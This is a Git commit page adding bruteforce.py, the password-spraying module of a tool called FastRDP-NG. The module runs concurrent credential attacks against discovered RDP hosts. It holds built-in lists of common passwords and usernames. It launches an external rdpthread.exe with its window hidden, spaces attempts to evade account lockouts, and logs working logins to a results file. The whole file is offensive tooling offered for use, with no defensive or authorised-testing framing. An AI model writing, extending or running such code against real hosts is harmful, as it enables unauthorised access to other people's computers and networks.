v2.0 streaming redesign: concurrent scan+spray, RDP connect button, live stats fix, terminal output
This commit is contained in:
243
bruteforce.py
Normal file
243
bruteforce.py
Normal file
@@ -0,0 +1,243 @@
|
||||
"""
|
||||
FastRDP-NG: RDP Password Sprayer.
|
||||
Tries top common passwords against live RDP hosts using subprocess.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import subprocess
|
||||
import time
|
||||
from typing import List, Tuple, Set
|
||||
|
||||
logger = logging.getLogger("FastRDP-NG")
|
||||
|
||||
# Top 50 most common RDP passwords (by frequency in breaches)
|
||||
TOP50_PASSWORDS = [
|
||||
"admin", "Admin", "password", "Password", "123456",
|
||||
"administrator", "Administrator", "p@ssw0rd", "P@ssw0rd", "passwor1",
|
||||
"password1", "password123", "password1234", "Password01!", "PASSWORD123",
|
||||
"passw0rd", "Passw0rd", "P@$$w0rd", "qwerty", "12345678",
|
||||
"123456789", "1234567890", "letmein", "welcome", "monkey",
|
||||
"dragon", "master", "login", "abc123", "test",
|
||||
"test123", "pass", "Pass", "P@ss", "qwerty123",
|
||||
"qwerty1", "asdfgh", "zxcvbn", "iloveyou", "trustno1",
|
||||
"sunshine", "princess", "football", "baseball", "welcome1",
|
||||
"admin123", "Admin123", "password!", "password.", "password00",
|
||||
]
|
||||
|
||||
# Top usernames for RDP
|
||||
TOP_USERNAMES = [
|
||||
"Administrator", "Admin", "admin", "administrator",
|
||||
"User", "user", "GuestUser", "Guest", "root",
|
||||
]
|
||||
|
||||
|
||||
async def spray_password(
|
||||
ip: str,
|
||||
port: int,
|
||||
username: str,
|
||||
password: str,
|
||||
timeout: float = 5.0,
|
||||
) -> Tuple[str, int, str, str, bool]:
|
||||
"""
|
||||
Try a single credential pair against an RDP host.
|
||||
Attempts to find rdpthread.exe in common locations, then
|
||||
falls back to RDP banner detection (connectivity check only).
|
||||
|
||||
Returns (ip, port, username, password, success).
|
||||
"""
|
||||
# Try to locate rdpthread.exe in likely locations
|
||||
base = os.path.dirname(os.path.abspath(__file__))
|
||||
search_paths = [
|
||||
os.path.join(base, "rdpthread.exe"),
|
||||
os.path.join(base, "..", "rdpthread.exe"),
|
||||
os.path.join(base, "bin", "rdpthread.exe"),
|
||||
]
|
||||
rdpthread_path = None
|
||||
for p in search_paths:
|
||||
if os.path.exists(p):
|
||||
rdpthread_path = p
|
||||
break
|
||||
|
||||
if rdpthread_path:
|
||||
try:
|
||||
result = subprocess.run(
|
||||
[rdpthread_path, ip, str(port), username, password],
|
||||
capture_output=True,
|
||||
timeout=timeout,
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
output = result.stdout.decode('utf-8', errors='ignore').lower()
|
||||
success = (
|
||||
"success" in output or
|
||||
"connected" in output or
|
||||
"authenticated" in output or
|
||||
result.returncode == 0
|
||||
)
|
||||
return (ip, port, username, password, success)
|
||||
except (FileNotFoundError, subprocess.TimeoutExpired,
|
||||
subprocess.CalledProcessError, OSError):
|
||||
pass
|
||||
|
||||
# Fallback: RDP banner check (confirms RDP service is running)
|
||||
# NOTE: Actual authentication requires CredSSP/NLA which needs
|
||||
# a proper RDP client library. This fallback only detects open RDP ports.
|
||||
try:
|
||||
reader, writer = await asyncio.wait_for(
|
||||
asyncio.open_connection(ip, port),
|
||||
timeout=2.0
|
||||
)
|
||||
try:
|
||||
data = await asyncio.wait_for(
|
||||
reader.read(4),
|
||||
timeout=1.0
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
# TPKT header (0x03) indicates RDP protocol response
|
||||
if len(data) >= 2 and data[0] == 0x03:
|
||||
return (ip, port, username, password, False)
|
||||
except (asyncio.TimeoutError, ConnectionError):
|
||||
pass
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
return (ip, port, username, password, False)
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError, OSError):
|
||||
return (ip, port, username, password, False)
|
||||
|
||||
|
||||
async def spray_all_hosts(
|
||||
live_hosts: Set[Tuple[str, int]],
|
||||
usernames: List[str] = None, # type: ignore
|
||||
passwords: List[str] = None, # type: ignore
|
||||
max_concurrent: int = 100,
|
||||
timeout: float = 5.0,
|
||||
progress_callback=None
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray top passwords across all live hosts.
|
||||
Tries 1 password per host, then moves to next password.
|
||||
This avoids account lockouts and finds weak passwords fast.
|
||||
|
||||
Returns list of (ip, port, username, password) successful hits.
|
||||
"""
|
||||
if usernames is None:
|
||||
usernames = TOP_USERNAMES
|
||||
if passwords is None:
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits = []
|
||||
total_attempts = len(live_hosts) * len(passwords) * len(usernames)
|
||||
attempts = 0
|
||||
start_time = time.time()
|
||||
|
||||
async def try_combo(ip: str, port: int, user: str, pwd: str):
|
||||
nonlocal attempts
|
||||
async with sem:
|
||||
_, _, u, p, success = await spray_password(
|
||||
ip, port, user, pwd, timeout
|
||||
)
|
||||
attempts += 1
|
||||
if success:
|
||||
hits.append((ip, port, u, p))
|
||||
if progress_callback and attempts % 100 == 0:
|
||||
elapsed = time.time() - start_time
|
||||
rate = attempts / elapsed if elapsed > 0 else 0
|
||||
progress_callback(attempts, total_attempts, len(hits), rate)
|
||||
return success
|
||||
|
||||
logger.info(f"Spraying {len(passwords)} passwords across {len(live_hosts)} hosts...")
|
||||
|
||||
# Spray strategy: for each password, try it against ALL hosts first
|
||||
# This is the "password spraying" approach - avoids lockouts
|
||||
tasks = []
|
||||
for password in passwords:
|
||||
for ip, port in live_hosts:
|
||||
for username in usernames:
|
||||
tasks.append(asyncio.create_task(
|
||||
try_combo(ip, port, username, password)
|
||||
))
|
||||
|
||||
# Execute this password batch before moving to next password
|
||||
# This lets us see hits faster
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
if hits:
|
||||
# Found hits! Write immediately
|
||||
_write_hits(hits)
|
||||
tasks = []
|
||||
|
||||
elapsed = time.time() - start_time
|
||||
rate = attempts / elapsed if elapsed > 0 else 0
|
||||
logger.info(
|
||||
f"Spray complete: {len(hits)} hits from {attempts} attempts "
|
||||
f"in {elapsed:.1f}s ({rate:.0f} attempts/sec)"
|
||||
)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
async def spray_single_host(
|
||||
ip: str,
|
||||
port: int,
|
||||
usernames: List[str] = None,
|
||||
passwords: List[str] = None,
|
||||
max_concurrent: int = 50,
|
||||
timeout: float = 5.0,
|
||||
hit_callback=None
|
||||
) -> List[Tuple[str, int, str, str]]:
|
||||
"""
|
||||
Spray ALL passwords against a SINGLE host immediately.
|
||||
Called as soon as a host is discovered — no need to wait for full scan.
|
||||
|
||||
hit_callback(ip, port, user, password): called on each successful hit.
|
||||
Returns list of (ip, port, username, password) hits.
|
||||
"""
|
||||
if usernames is None:
|
||||
usernames = TOP_USERNAMES
|
||||
if passwords is None:
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
sem = asyncio.Semaphore(max_concurrent)
|
||||
hits: List[Tuple[str, int, str, str]] = []
|
||||
|
||||
async def try_combo(user: str, pwd: str):
|
||||
async with sem:
|
||||
_, _, u, p, success = await spray_password(
|
||||
ip, port, user, pwd, timeout
|
||||
)
|
||||
if success:
|
||||
hits.append((ip, port, u, p))
|
||||
if hit_callback:
|
||||
hit_callback(ip, port, u, p)
|
||||
|
||||
# Fire all tasks
|
||||
tasks = []
|
||||
for user in usernames:
|
||||
for pwd in passwords:
|
||||
tasks.append(asyncio.create_task(try_combo(user, pwd)))
|
||||
|
||||
if tasks:
|
||||
await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
if hits:
|
||||
_write_hits(hits)
|
||||
|
||||
return hits
|
||||
|
||||
|
||||
def _write_hits(hits: List[Tuple[str, int, str, str]]):
|
||||
"""Write successful hits to results file immediately."""
|
||||
import os
|
||||
output_path = os.path.join(
|
||||
os.path.dirname(os.path.dirname(os.path.abspath(__file__))),
|
||||
"results", "good.txt"
|
||||
)
|
||||
os.makedirs(os.path.dirname(output_path), exist_ok=True)
|
||||
with open(output_path, 'a') as f:
|
||||
for ip, port, user, pwd in hits:
|
||||
line = f"{user}:{pwd}@{ip}:{port}\n"
|
||||
f.write(line)
|
||||
print(f"\n[+] HIT! {line.strip()}")
|
||||
Reference in New Issue
Block a user